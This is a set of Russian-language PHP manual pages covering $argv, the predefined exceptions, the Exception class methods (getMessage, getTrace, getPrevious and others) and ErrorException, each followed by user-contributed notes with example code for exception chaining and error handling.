$argv — Массив переданных скрипту аргументов

Описание

Содержит массив (array) всех аргументов, переданных скрипту при запуске из командной строки.

Замечание: Первый аргумент $argv[0] всегда содержит имя файла запущенного скрипта.

Замечание: Эта переменная недоступна, если register_argc_argv отключён.

Примеры

Пример #1 Пример использования $argv

<?php
var_dump($argv);
?>

Запустим пример в командной строке: php script.php arg1 arg2 arg3

Результатом выполнения данного примера будет что-то подобное:

array(4) {
  [0]=>
  string(10) "script.php"
  [1]=>
  string(4) "arg1"
  [2]=>
  string(4) "arg2"
  [3]=>
  string(4) "arg3"
}

Примечания

Замечание:

Также доступно как $_SERVER['argv'].

Смотрите также

  • getopt() - Получает параметры из списка аргументов командной строки
  • $argc

User Contributed Notes

vatruski at t dot me 22-Apr-2023 11:45
You can reinitialize the argument variables for web applications.
So if you created a command line, with some additional tweaks you can make it work on the web.
Radon8472 26-Nov-2021 08:11
I discovered that `register_argc_argv` is alway OFF if you use php internal webserver, even if it is set to `On` in the php.ini.

What means there seems to be no way to access argv / argc in php internal commandline server.
php at simoneast dot net 24-Nov-2015 07:24
Sometimes $argv can be null, such as when "register-argc-argv" is set to false.  In some cases I've found the variable is populated correctly when running "php-cli" instead of just "php" from the command line (or cron).
hamboy75 at example dot com 05-Nov-2013 03:20
To use $_GET so you dont need to support both if it could be used from command line and from web browser.

foreach ($argv as $arg) {
    $e=explode("=",$arg);
    if(count($e)==2)
        $_GET[$e[0]]=$e[1];
    else
        $_GET[$e[0]]=0;
}
tufan dot oezduman at googlemail dot com 22-Aug-2011 09:06
Please note that, $argv and $argc need to be declared global, while trying to access within a class method.

<?php
class A
{
    public static function b()
    {
        var_dump($argv);
        var_dump(isset($argv));
    }
}

A::b();
?>

will output NULL bool(false)  with a notice of "Undefined variable ..."

whereas global $argv fixes that.
Steve Schmitt 14-Sep-2009 04:57
If you come from a shell scripting background, you might expect to find this topic under the heading "positional parameters".


Предопределённые исключения

Содержание

  • Exception
  • ErrorException
  • Error
  • ArgumentCountError
  • ArithmeticError
  • AssertionError
  • DivisionByZeroError
  • CompileError
  • ParseError
  • TypeError
  • ValueError
  • UnhandledMatchError
  • FiberError

Смотрите также "Исключения SPL"

User Contributed Notes

samuel at jch-optimize dot net 03-Jul-2022 02:52
Predefined Exceptions Class Tree

Error (Implements Throwable)
        ArithmeticError
                DivisionByZeroError
        AssertionError
        CompileError
                ParseError
        TypeError
                ArgumentCountError
        ValueError
        UnhandledMatchError
        FiberError

Exception (Implements Throwable)
        ErrorException


Exception

(PHP 5, PHP 7, PHP 8)

Введение

Exception — это базовый класс для всех пользовательских исключений.

Обзор классов

class Exception implements Throwable {
/* Свойства */
protected string $message = "";
private string $string = "";
protected int $code;
protected string $file = "";
protected int $line;
private array $trace = [];
private ?Throwable $previous = null;
/* Методы */
public __construct(string $message = "", int $code = 0, ?Throwable $previous = null)
final public getMessage(): string
final public getPrevious(): ?Throwable
final public getCode(): int
final public getFile(): string
final public getLine(): int
final public getTrace(): array
final public getTraceAsString(): string
public __toString(): string
private __clone(): void
}

Свойства

message

Текст исключения

code

Код исключения

file

Имя файла, в котором было вызвано исключение

line

Номер строки, в которой было вызвано исключение

previous

Ранее выброшенное исключение

string

Строковое представление трассировки стека

trace

Трассировка стека в виде массива

Содержание

  • Exception::__construct — Создать исключение
  • Exception::getMessage — Получает сообщение исключения
  • Exception::getPrevious — Возвращает предыдущий объект, реализующий Throwable
  • Exception::getCode — Получает код исключения
  • Exception::getFile — Получает файл, в котором возникло исключение
  • Exception::getLine — Получает строку, в которой возникло исключение
  • Exception::getTrace — Получает трассировку стека
  • Exception::getTraceAsString — Получает трассировку стека в виде строки
  • Exception::__toString — Строковое представление исключения
  • Exception::__clone — Клонировать исключение

User Contributed Notes

shaman_master at list dot ru 20-Feb-2020 02:11
Note: this documentation not full, ReflectionObject::export($exception):
<?php
Object of class [  class Exception implements Throwable ] {
  - Properties [7] {
    Property [  protected $message ]
    Property [  private $string ]
    Property [  protected $code ]
    Property [  protected $file ]
    Property [  protected $line ]
    Property [  private $trace ]
    Property [  private $previous ]
  }
  - Methods [11] {
    Method [  final private method __clone ] {
    }

    Method [  public method __construct ] {

      - Parameters [3] {
        Parameter #0 [  $message ]
        Parameter #1 [  $code ]
        Parameter #2 [  $previous ]
      }
    }

    Method [  public method __wakeup ] {
    }

    Method [  final public method getMessage ] {
    }

    Method [  final public method getCode ] {
    }

    Method [  final public method getFile ] {
    }

    Method [  final public method getLine ] {
    }

    Method [  final public method getTrace ] {
    }

    Method [  final public method getPrevious ] {
    }

    Method [  final public method getTraceAsString ] {
    }

    Method [  public method __toString ] {
    }
  }
}
?>

Missed:

    Property [  private $string ]
    Property [  private $trace ]
    Property [  private $previous ]

    Method [  public method __wakeup ] {
    }
whysteepy at gmail dot com 28-Jan-2018 07:55
Lists of Throwable and Exception tree as of 7.2.0

    Error
      ArithmeticError
        DivisionByZeroError
      AssertionError
      ParseError
      TypeError
        ArgumentCountError
    Exception
      ClosedGeneratorException
      DOMException
      ErrorException
      IntlException
      LogicException
        BadFunctionCallException
          BadMethodCallException
        DomainException
        InvalidArgumentException
        LengthException
        OutOfRangeException
      PharException
      ReflectionException
      RuntimeException
        OutOfBoundsException
        OverflowException
        PDOException
        RangeException
        UnderflowException
        UnexpectedValueException
      SodiumException

Find the script and output in the following links:
https://gist.github.com/mlocati/249f07b074a0de339d4d1ca980848e6a
https://3v4l.org/sDMsv

posted by someone here http://php.net/manual/en/class.throwable.php
cHao 27-Sep-2014 06:34
Note that an exception's properties are populated when the exception is *created*, not when it is thrown.  Throwing the exception does not seem to modify them.

Among other things, this means:

* The exception will blame the line that created it, not the line that threw it.

* Unlike in some other languages, rethrowing an exception doesn't muck up the trace.

* A thrown exception and an unthrown one look basically identical.  On my machine, the only visible difference is that a thrown exception has an `xdebug_message` property while an unthrown one doesn't.  Of course, if you don't have xdebug installed, you won't even get that.


Создать исключение

  • « Exception
  • Exception::getMessage »
  • PHP Manual
  • Exception
  • Создать исключение

Exception::__construct

(PHP 5, PHP 7, PHP 8)

Exception::__construct — Создать исключение

Описание

public Exception::__construct(string $message = "", int $code = 0, ?Throwable $previous = null)

Создаёт исключение.

Список параметров

message

Текст сообщения.

code

Код исключения.

previous

Предыдущее исключение. Используется при создания цепочки исключений.

Замечание: Вызов конструктора класса Exception из его подкласса, игнорирует аргументы по умолчанию, если свойства $code и $message уже установлены.

Примечания

Замечание:

Параметр message не является бинарно-безопасным.

User Contributed Notes

ryan dot jentzsch at gmail dot com 08-Nov-2016 11:45
Note that the code parameter is not the same as exit($code).
Also, the code argument in PHP 7 (possibly earlier versions) is cast to an int including negative values. The code below is completely valid:

<?php
try
{
    throw new \Exception('Testing', -12.12);
}
catch (\Exception $exception)
{
    $code = $exception->getCode();
    if ($code < 0)
    {
        exit(abs($code));
    }
}
talksonweb at gmail dot com 03-Jul-2013 09:43
For those that haven't done exception chaining. Here's an example.

This allows you to add the previous exception to the next one and give yourself detailed information in the end as to what happened. This is useful in larger applications.

<?php
function theDatabaseObj(){
     if( database_object ){
         return database_object;
     }
     else{
         throw new DatabaseException("Could not connect to the database");
     }
}

function updateProfile( $userInfo ){
     try{
         $db = theDatabaseObj();
         $db->updateProfile();
     }
     catch( DatabaseException $e ){
         $message = "The user :" . $userInfo->username . " could not update his profile information";
         /* notice the '$e'. I'm adding the previous exception  to this exception. I can later get a detailed view of
          where the problem began. Lastly, the number '12' is  an exception code. I can use this for categorizing my
         exceptions or don't use it at all. */
         throw new MemberSettingsException($message,12,$e);
     }
}

try{
     updateProfile( $userInfo );
}
catch( MemberSettingsException $e ){
     // this will give all information we have collected above.
     echo $e->getTraceAsString();
}
?>
mattsch at gmail dot com 31-Dec-2012 03:08
Be aware that while $previous is quite useful in providing exception chaining and better traceability, none of the internal php exceptions (e.g. PDOException, ReflectionException, etc) are called internally within php with $previous in mind.

So if your code throws an exception, recovers from it, then catches one of these internal php exceptions, recovers from it and throws another exception, you will not know the first exception that was thrown when calling getPrevious.

See: https://bugs.php.net/bug.php?id=63873


Получает сообщение исключения

  • « Exception::__construct
  • Exception::getPrevious »
  • PHP Manual
  • Exception
  • Получает сообщение исключения

Exception::getMessage

(PHP 5, PHP 7, PHP 8)

Exception::getMessage — Получает сообщение исключения

Описание

final public Exception::getMessage(): string

Возвращает сообщение исключения.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает сообщение исключения в виде строки.

Примеры

Пример #1 Пример использования Exception::getMessage()

<?php
try {
throw new Exception("Какое-нибудь сообщение об ошибке");
} catch(Exception $e) {
echo $e->getMessage();
}
?>

Результатом выполнения данного примера будет что-то подобное:

Какое-нибудь сообщение об ошибке

Смотрите также

  • Throwable::getMessage() - Получает сообщение ошибки

User Contributed Notes

There are no user contributed notes for this page.


Возвращает предыдущий объект, реализующий Throwable

  • « Exception::getMessage
  • Exception::getCode »
  • PHP Manual
  • Exception
  • Возвращает предыдущий объект, реализующий Throwable

Exception::getPrevious

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

Exception::getPrevious — Возвращает предыдущий объект, реализующий Throwable

Описание

final public Exception::getPrevious(): ?Throwable

Возвращает предыдущий объект, реализующий Throwable (переданный третьим параметром в Exception::__construct()).

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает предыдущий объект, реализующий Throwable или null, если такового нет.

Примеры

Пример #1 Пример использования Exception::getPrevious()

Проход и печать цепи исключений.

<?php
class MyCustomException extends Exception {}

function doStuff() {
try {
throw new InvalidArgumentException("Ты делаешь это неправильно!", 112);
} catch(Exception $e) {
throw new MyCustomException("Что-то случилось", 911, $e);
}
}

try {
doStuff();
} catch(Exception $e) {
do {
printf("%s:%d %s (%d) [%s]\n", $e->getFile(), $e->getLine(), $e->getMessage(), $e->getCode(), get_class($e));
} while($e = $e->getPrevious());
}
?>

Результатом выполнения данного примера будет что-то подобное:

/home/bjori/ex.php:8 Что-то случилось (911) [MyCustomException]
/home/bjori/ex.php:6 Ты делаешь это неправильно! (112) [InvalidArgumentException]

Смотрите также

  • Throwable::getPrevious() - Возвращает предыдущий Throwable

User Contributed Notes

harry at upmind dot com 10-Nov-2018 03:03
/**
     * Gets sequential array of all previously-chained errors
     *
     * @param Throwable $error
     *
     * @return Throwable[]
     */
    function getChain(Throwable $error) : array
    {
        $chain = [];

        do {
            $chain[] = $error;
        } while ($error = $error->getPrevious());

        return $chain;
    }
Anonymous 03-Oct-2011 01:11
May be I am late (5.2 is not supported). But if you want use the functionality of "previous Exception" in PHP < 5.3 or write compatible code, you can use next way as below.

<?php
abstract class App_Exception_PreviousNativeAbstract extends Exception {
    public static $printPrevious = true;

    public function __toString() {
        $result   = array();
        $result[] = sprintf("Exception '%s' with message '(%s) %s' in %s:%d", get_class($this), $this->code, $this->message, $this->file, $this->line);
        $result[] = '---[Stack trace]:';
        $result[] = $this->getTraceAsString();

        if (self::$printPrevious) {
            $previous = $this->getPrevious();
            if ($previous) {
                do {
                    $result[] = '---[Previous exception]:';
                    $result[] = sprintf("Exception '%s' with message '(%s) %s' in %s:%d", get_class($previous), $previous->getCode(), $previous->getMessage(), $previous->getFile(), $previous->getLine());
                    $result[] = '---[Stack trace]:';
                    $result[] = $previous->getTraceAsString();
                } while(method_exists($previous, 'getPrevious') && ($previous = $previous->getPrevious()));
            }
        }

        return implode("\r\n", $result);
    }
}

abstract class App_Exception_PreviousLegacyAbstract extends App_Exception_PreviousNativeAbstract {
    protected $previous;

    public function __construct($message, $code = 0, Exception $previous = null) {
        $this->previous = $previous;

        parent::__construct($message, $code);
    }

    public function getPrevious() {
        return $this->previous;
    }
}

if (version_compare(PHP_VERSION, '5.3.0', '>=')) {
    abstract class App_Exception_PreviousAbstract extends App_Exception_PreviousNativeAbstract {}
}
else {
    abstract class App_Exception_PreviousAbstract extends App_Exception_PreviousLegacyAbstract {}
}

class App_Exception extends App_Exception_PreviousAbstract {
    public function __construct($message, $code = 0, Exception $previous = null) {
        parent::__construct($message, 0, $previous);
    }
}

// Example:
try {
    // ...
    throw new Exception('Exception mesage');
    // ...
} catch (Exception $e) {
    throw new App_Exception('App exception mesage', 0, $e);
}
?>


Получает код исключения

  • « Exception::getPrevious
  • Exception::getFile »
  • PHP Manual
  • Exception
  • Получает код исключения

Exception::getCode

(PHP 5, PHP 7, PHP 8)

Exception::getCode — Получает код исключения

Описание

final public Exception::getCode(): int

Возвращает код исключения.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает код исключения типа int у класса Exception, но у потомков класса Exception может быть другой тип (например, типа string в PDOException).

Примеры

Пример #1 Пример использования Exception::getCode()

<?php
try {
throw new Exception("Какое-нибудь сообщение об ошибке", 30);
} catch(Exception $e) {
echo "Код исключения: " . $e->getCode();
}
?>

Результатом выполнения данного примера будет что-то подобное:

Код исключения: 30

Смотрите также

  • Throwable::getCode() - Возвращает код исключения

User Contributed Notes

2M 02-Aug-2021 06:50
Do not use the strict operator as suggested when checking the Exception Code in \PDOException.
As per documentation: \PDOException is returning a string for its Exception Code and not an Integer.

Ran into the following in PHP8:
<?php

catch(\PDOException $e) {
    var_dump($e->getCode()); //Output: string(5) "23000"
}

?>
ahmad dot mayahi at gmail dot com 06-Mar-2017 09:45
One of the most useful tricks of getCode is handling duplication entries when trying to add a duplicate row into the database.

Sometimes we don't need to show any errors regarding this duplication.

The following snippet is taken from one of my projects:

<?php
//I have a mysql table called hosts with one unique key named host_name.
 try {
     $hosts = new Hosts(["host_name" => "www.example.com");
     $hosts->save();
 } catch (\PDOException $e) {
      if ($e->getCode() === 23000) {
          //Do nothing
     }
}
?>

Here I'm saving the host name, and I don't care if it's already exists.
talksonweb at gmail dot com 28-Jun-2013 03:23
The exception code can be used to categorize your errors. If you're wondering what the exception code can be used for, read on below.

Let's say each time your application isn't able to connect to the database, you can save the error message under the error/exception code 214. At the end of the month, you can do a quick search on the error number '214' and find out how many times this error occurred. This makes life easier. Also, the error/exception message will give you details into what happened.

The point is to use both the exception message and code. It's helpful in the long run.

Note: I added this note, because I was confused earlier as to the purpose of the exception code and it's use.
ricky at rocker dot com 19-Feb-2013 10:53
when raising an Exception with no error code explicitly defined, getCode() returns the integer 0

<?php
try {
  throw new Exception("no code!!");
} catch (Exception $e) {
  print("Code='" . $e->getCode() . "'");
}
?>

outputs

Code='0'


Получает файл, в котором возникло исключение

  • « Exception::getCode
  • Exception::getLine »
  • PHP Manual
  • Exception
  • Получает файл, в котором возникло исключение

Exception::getFile

(PHP 5, PHP 7, PHP 8)

Exception::getFile — Получает файл, в котором возникло исключение

Описание

final public Exception::getFile(): string

Получить имя файла, где исключение было создано.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает имя файла, в котором исключение было создано.

Примеры

Пример #1 Пример использования Exception::getFile()

<?php
try {
throw new Exception;
} catch(Exception $e) {
echo $e->getFile();
}
?>

Результатом выполнения данного примера будет что-то подобное:

/home/bjori/tmp/ex.php

Смотрите также

  • Throwable::getFile() - Возвращает файл, в котором выброшено исключение

User Contributed Notes

Jan 24-Sep-2019 12:28
If you're looking to extract only the "ex.php" part of the full "/home/bjori/tmp/ex.php", then use:

<?php
    echo basename($e->getFile())
?>

or better yet, esp. if your paths possibly contain non-ASCII characters:

<?php
    echo pathinfo($e->getFile())['basename']
?>


Получает строку, в которой возникло исключение

  • « Exception::getFile
  • Exception::getTrace »
  • PHP Manual
  • Exception
  • Получает строку, в которой возникло исключение

Exception::getLine

(PHP 5, PHP 7, PHP 8)

Exception::getLine — Получает строку, в которой возникло исключение

Описание

final public Exception::getLine(): int

Получить номер строки, где исключение было создано

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает номер строки, где было создано исключение.

Примеры

Пример #1 Пример использования Exception::getLine()

<?php
try {
throw new Exception("Какое-нибудь сообщение об ошибке");
} catch(Exception $e) {
echo "Исключение было создано на строке: " . $e->getLine();
}
?>

Результатом выполнения данного примера будет что-то подобное:

Исключение было создано на строке: 3

Смотрите также

  • Throwable::getLine() - Получает строку скрипта, в которой данный объект был выброшен

User Contributed Notes

There are no user contributed notes for this page.


Получает трассировку стека

  • « Exception::getLine
  • Exception::getTraceAsString »
  • PHP Manual
  • Exception
  • Получает трассировку стека

Exception::getTrace

(PHP 5, PHP 7, PHP 8)

Exception::getTrace — Получает трассировку стека

Описание

final public Exception::getTrace(): array

Возвращает трассировку стека исключения.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает трассировку стека исключения в виде массива (array).

Примеры

Пример #1 Пример использования Exception::getTrace()

<?php
function test() {
throw new Exception;
}

try {
test();
} catch(Exception $e) {
var_dump($e->getTrace());
}
?>

Результатом выполнения данного примера будет что-то подобное:

array(1) {
  [0]=>
  array(4) {
    ["file"]=>
    string(22) "/home/bjori/tmp/ex.php"
    ["line"]=>
    int(7)
    ["function"]=>
    string(4) "test"
    ["args"]=>
    array(0) {
    }
  }
}

Смотрите также

  • Throwable::getTrace() - Возвращает трассировку стека

User Contributed Notes

ronald at ronalddiaz dot net 17-Aug-2020 10:30
If you are wanting to see the args within a stack trace on PHP 7.4, note that there is now a zend flag in the php.ini file that is default set to Off.

zend.exception_ignore_args = Off

Set this flag to On and it will show the args again.

zend.exception_ignore_args = On

https://www.php.net/manual/en/ini.core.php#ini.zend.exception-ignore-args
an43 dot bal at gmail dot com 17-May-2020 03:01
As of PHP 7.4 return values of Exception::getTrace() (and Error::getTrace()) no longer contains "args" keys like debug_backtrace() with default options.

So, return value since 7.4 is like debug_backtrace(DEBUG_BACKTRACE_IGNORE_ARGS).
knivey 18-Apr-2013 02:53
The order of the trace starts at the source of the exception and does not include main.
So for example:

<?php
function Bar() {
 throw new Exception;
}

function Foo() {
 Bar();
}

try {
 Foo();
} catch(Exception $e) {
 var_dump($e->getTrace());
}
?>

Will output:

array(2) {
  [0]=>
  array(4) {
    ["file"]=>
    string(21) "/.../test.php"
    ["line"]=>
    int(8)
    ["function"]=>
    string(3) "Bar"
    ["args"]=>
    array(0) {
    }
  }
  [1]=>
  array(4) {
    ["file"]=>
    string(21) "/.../test.php"
    ["line"]=>
    int(12)
    ["function"]=>
    string(3) "Foo"
    ["args"]=>
    array(0) {
    }
  }
}
sam at notmyrealemail dot org 17-Feb-2012 03:26
Two important points about this function which are not documented:

1) The trace does not include the file / line at which the exception is thrown; that entry is only recorded in the top-level getFile/Line methods.

2) Elements are returned in 'closest-first' order, e.g. if you have a script x which calls function y which calls function z which throws an exception, then the first trace element will be 'Y' and the second will be 'X'.
andreas at cap-systems dot com 09-Jun-2010 12:55
When calling getTrace(), there is also the name of the class in returned array:

<?php
  class Test {

    function __construct() {

      throw new Exception('FATAL ERROR: bla bla...');

    }

  }

  try {

    $obj = new Test();

  } catch(Exception $e) {

    var_dump($e->getTrace());

  }
?>

Will show something like:

array(1) {
  [0]=>  array(6) {
               ["file"]=>  string(54) "/....../test.php"
               ["line"]=>  int(37)
               ["function"]=>  string(11) "__construct"
               ["class"]=>  string(4) "Test"
               ["type"]=>  string(2) "->"
               ["args"]=>  array(0) { }
             }
}

You can use this function to format a exception:

<?php
  function MakePrettyException(Exception $e) {
    $trace = $e->getTrace();

    $result = 'Exception: "';
    $result .= $e->getMessage();
    $result .= '" @ ';
    if($trace[0]['class'] != '') {
      $result .= $trace[0]['class'];
      $result .= '->';
    }
    $result .= $trace[0]['function'];
    $result .= '();<br />';

    return $result;
  }

  //Example:
  try {

    $obj = new Test();

  } catch(Exception $e) {

    echo MakePrettyException($e);

  }

?>

Result:

Exception: "FATAL ERROR: bla bla..." @ Test->__construct();


Получает трассировку стека в виде строки

  • « Exception::getTrace
  • Exception::__toString »
  • PHP Manual
  • Exception
  • Получает трассировку стека в виде строки

Exception::getTraceAsString

(PHP 5, PHP 7, PHP 8)

Exception::getTraceAsString — Получает трассировку стека в виде строки

Описание

final public Exception::getTraceAsString(): string

Возвращает трассировку стека исключения в виде строки.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает трассировку стека исключения в виде строки.

Примеры

Пример #1 Пример использования Exception::getTraceAsString()

<?php
function test() {
throw new Exception;
}

try {
test();
} catch(Exception $e) {
echo $e->getTraceAsString();
}
?>

Результатом выполнения данного примера будет что-то подобное:

#0 /home/bjori/tmp/ex.php(7): test()
#1 {main}

Смотрите также

  • Throwable::getTraceAsString() - Получает результаты трассировки стека в виде строки

User Contributed Notes

cottton at i-stats dot net 21-Feb-2015 04:41
this method uses \n for new line (i expected PHP_EOL but well ...).
if you want to log the string as one single line use something like:
<?php
$separator = ', ';
$one_line = str_replace("\n", $separator, $e->getTraceAsString());
?>
ernest at vogelsinger dot at 08-May-2014 09:49
Honestly, Exception::getTraceAsString() simply sucks, listing only the called method (below, for example, on line 89 function fail2() gets called, but there's no information that you have the originator is fail1()). The fact that, in the example below, the exception gets thrown on line 78, is completely omitted from the trace and only available within the exception. Chained exceptions are not supported as well.

Example:
#0 /var/htdocs/websites/sbdevel/public/index.php(70): seabird\test\C->exc()
#1 /var/htdocs/websites/sbdevel/public/index.php(85): seabird\test\C->doexc()
#2 /var/htdocs/websites/sbdevel/public/index.php(89): seabird\test\fail2()
#3 /var/htdocs/websites/sbdevel/public/index.php(93): seabird\test\fail1()
#4 {main}

jTraceEx() provides a much better java-like stack trace that includes support for chained exceptions:
Exception: Thrown from class C
 at seabird.test.C.exc(index.php:78)
 at seabird.test.C.doexc(index.php:70)
 at seabird.test.fail2(index.php:85)
 at seabird.test.fail1(index.php:89)
 at (main)(index.php:93)
Caused by: Exception: Thrown from class B
 at seabird.test.B.exc(index.php:64)
 at seabird.test.C.exc(index.php:75)
 ... 4 more
Caused by: Exception: Thrown from class A
 at seabird.test.A.exc(index.php:46)
 at seabird.test.B.exc(index.php:61)
 ... 5 more

(see at the end for the example code)

 <?php
 /**
 * jTraceEx() - provide a Java style exception trace
 * @param $exception
 * @param $seen      - array passed to recursive calls to accumulate trace lines already seen
 *                     leave as NULL when calling this function
 * @return array of strings, one entry per trace line
 */
function jTraceEx($e, $seen=null) {
    $starter = $seen ? 'Caused by: ' : '';
    $result = array();
    if (!$seen) $seen = array();
    $trace  = $e->getTrace();
    $prev   = $e->getPrevious();
    $result[] = sprintf('%s%s: %s', $starter, get_class($e), $e->getMessage());
    $file = $e->getFile();
    $line = $e->getLine();
    while (true) {
        $current = "$file:$line";
        if (is_array($seen) && in_array($current, $seen)) {
            $result[] = sprintf(' ... %d more', count($trace)+1);
            break;
        }
        $result[] = sprintf(' at %s%s%s(%s%s%s)',
                                    count($trace) && array_key_exists('class', $trace[0]) ? str_replace('\\', '.', $trace[0]['class']) : '',
                                    count($trace) && array_key_exists('class', $trace[0]) && array_key_exists('function', $trace[0]) ? '.' : '',
                                    count($trace) && array_key_exists('function', $trace[0]) ? str_replace('\\', '.', $trace[0]['function']) : '(main)',
                                    $line === null ? $file : basename($file),
                                    $line === null ? '' : ':',
                                    $line === null ? '' : $line);
        if (is_array($seen))
            $seen[] = "$file:$line";
        if (!count($trace))
            break;
        $file = array_key_exists('file', $trace[0]) ? $trace[0]['file'] : 'Unknown Source';
        $line = array_key_exists('file', $trace[0]) && array_key_exists('line', $trace[0]) && $trace[0]['line'] ? $trace[0]['line'] : null;
        array_shift($trace);
    }
    $result = join("\n", $result);
    if ($prev)
        $result  .= "\n" . jTraceEx($prev, $seen);

    return $result;
}
?>

Here's the example code:
<?php
class A {
    public function exc() {
        throw new \Exception('Thrown from class A');    // <-- line 46
    }
}

class B {
    public function exc() {
        try {
            $a = new A;
            $a->exc();    // <-- line 61
        }
        catch(\Exception $e1) {
            throw new \Exception('Thrown from class B', 0, $e1);    // <-- line 64
        }
    }
}
class C {
    public function doexc() {
        $this->exc();    // <-- line 70
    }
    public function exc() {
        try {
            $b = new B;
            $b->exc();    // <-- line 75
        }
        catch(\Exception $e1) {
            throw new \Exception('Thrown from class C', 0, $e1);    // <-- line 78
        }
    }
}

function fail2() {
    $c = new C;
    $c->doexc();    // <-- line 85
}

function fail1() {
    fail2();            // <-- line 89
}

try {
    fail1();            // <-- line 93
}
catch(\Exception $e) {
    echo jTraceEx($e);
}
?>


Строковое представление исключения

  • « Exception::getTraceAsString
  • Exception::__clone »
  • PHP Manual
  • Exception
  • Строковое представление исключения

Exception::__toString

(PHP 5, PHP 7, PHP 8)

Exception::__toString — Строковое представление исключения

Описание

public Exception::__toString(): string

Возвращает исключение в виде строки (string).

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает исключение в виде строки (string).

Примеры

Пример #1 Пример использования Exception::__toString()

<?php
try {
throw new Exception("Какое-нибудь сообщение об ошибке");
} catch(Exception $e) {
echo $e;
}
?>

Результатом выполнения данного примера будет что-то подобное:

exception 'Exception' with message 'Какое-нибудь сообщение об ошибке' in /home/bjori/tmp/ex.php:3
Stack trace:
#0 {main}

Смотрите также

  • Throwable::__toString() - Получает строковое представление выброшенного объекта

User Contributed Notes

There are no user contributed notes for this page.


Клонировать исключение

  • « Exception::__toString
  • ErrorException »
  • PHP Manual
  • Exception
  • Клонировать исключение

Exception::__clone

(PHP 5, PHP 7, PHP 8)

Exception::__clone — Клонировать исключение

Описание

private Exception::__clone(): void

Исключения Exception не могут быть клонированы, а попытка сделать это выбросит ошибку Error.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Ошибки

Исключения не поддаются клонированию.

Список изменений

Версия | Описание
8.1.0 | Метод Exception::__clone() больше не является окончательным (final).

User Contributed Notes

There are no user contributed notes for this page.


ErrorException

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

Введение

Исключение в случае возникновения ошибки.

Обзор классов

class ErrorException extends Exception {
/* Свойства */
protected int $severity = E_ERROR;
/* Наследуемые свойства */
protected string $message = "";
private string $string = "";
protected int $code;
protected string $file = "";
protected int $line;
private array $trace = [];
private ?Throwable $previous = null;
/* Методы */
public __construct(
string $message = "",
int $code = 0,
int $severity = E_ERROR,
?string $filename = null,
?int $line = null,
?Throwable $previous = null
)
final public getSeverity(): int
/* Наследуемые методы */
final public Exception::getMessage(): string
final public Exception::getPrevious(): ?Throwable
final public Exception::getCode(): int
final public Exception::getFile(): string
final public Exception::getLine(): int
final public Exception::getTrace(): array
final public Exception::getTraceAsString(): string
public Exception::__toString(): string
private Exception::__clone(): void
}

Свойства

severity

Серьёзность исключения

Примеры

Пример #1 Использование set_error_handler() для изменения сообщений об ошибках в ErrorException.

<?php
function exception_error_handler(int $errno, string $errstr, string $errfile = null, int $errline) {
if (!(error_reporting() & $errno)) {
// Этот код ошибки не входит в error_reporting
return;
}
throw new \ErrorException($errstr, 0, $errno, $errfile, $errline);
}
set_error_handler(exception_error_handler(...));
// До PHP 8.1.0 и введения синтаксиса callback-функции как объекта первого класса вместо этого необходимо использовать следующий вызов:
// set_error_handler(__NAMESPACE__ . "\\exception_error_handler");

/* вызываем исключение */
strpos();
?>

Результатом выполнения данного примера будет что-то подобное:

Fatal error: Uncaught exception 'ErrorException' with message 'strpos() expects at least 2 parameters, 0 given' in /home/bjori/tmp/ex.php:12
Stack trace:
#0 [internal function]: exception_error_handler(2, 'strpos() expect...', '/home/bjori/php...', 12, Array)
#1 /home/bjori/php/cleandocs/test.php(12): strpos()
#2 {main}
  thrown in /home/bjori/tmp/ex.php on line 12

Содержание

  • ErrorException::__construct — Создаёт исключение
  • ErrorException::getSeverity — Получает серьёзность исключения

User Contributed Notes

Christopher Marshall 16-Nov-2021 03:06
Going on further from the point made by  triplepoint at gmail dot com:

I'm using PHP 7.4.0 and trying to introduce error handling, exception handling and fatal exception handling into my application. A lot of the info all over the internet is now out of date in regards to handling errors with the new changes in PHP 7 and 8, which makes it difficult at the best of times to understand everything.

However what I've found is that by using register_shutdown_function to handle fatal exceptions, it works as expected. set_exception_handler also works perfectly in conjunction. The issue comes when you use set_error_handler as well, and you trigger a custom error (for example using trigger_error) - even if you're using E_ERROR or E_USER_ERROR.

This is because PHP is trying to handle the error before it shuts down and before the register_shutdown_function is actually involved. So it's very important to be mindful of this if you're using different methods for exceptions, errors and fatal exceptions. You will need to specifically catch the error like before and return out of your error handling function for the fatal exception handler to kick in properly.

You're welcome .....

<?php
    /**
     * We handle basic errors differently to everything else
     */
    public static function errorHandler($errStatus, $errMsg = 'Unknown error', $errFile = 'unknown', $errLine = 0)
    {
        /**
         * Because we're using set_error_handler, PHP tries to be
         * clever and routes fatal errors and other "errors"
         * (i.e. trigger_error) here before it goes to
         * register_shutdown_function, so we need to be sure these
         * are caught and dealt with in the correct way
         *
         * @See https://www.php.net/manual/en/class.errorexception.php#95415
         */
        if (\in_array($errStatus, [E_ERROR, E_PARSE, E_CORE_ERROR, E_USER_ERROR, E_ERROR]))
        {
            return;
        }

        /* Handle everything else however you want */
    }
Kevin 28-Mar-2017 09:13
I have been Googling all over the place for how to convert an E_NOTICE error into an exception, and I think I finally found a clean way to do it:

@include "errorcausingcode.php";

$lastError = error_get_last();
if ( !empty( $lastError ) ) {
    throw new TemplateRenderingException($lastError['message'], $lastError['type']);
}

Basically, if it's something not system haulting it will likely hit this. Then you can throw whatever exception you want. Now, this is of course if you have a need. I did, because I wanted to clean up my output buffer if there was an error that skipped over it.
xianrenb at gmail dot com 23-Sep-2012 02:33
<?php
function exception_error_handler($errno, $errstr, $errfile, $errline ) {
    throw new ErrorException($errstr, $errno, 0, $errfile, $errline);
}
set_error_handler("exception_error_handler");

/* Trigger exception */
strpos();
?>

Please note that property $severity of class ErrorException is set to a constant zero for all kinds of errors in the above example.

I think it was a bug and tried to file a bug report, but it was closed as not a bug, so I could not say the above is wrong.

Let me show an example that uses $severity not as a constant:
<?php
  set_error_handler(function ($errno, $errstr, $errfile, $errline) {
    throw new ErrorException($errstr, 0, $errno, $errfile, $errline);
  });

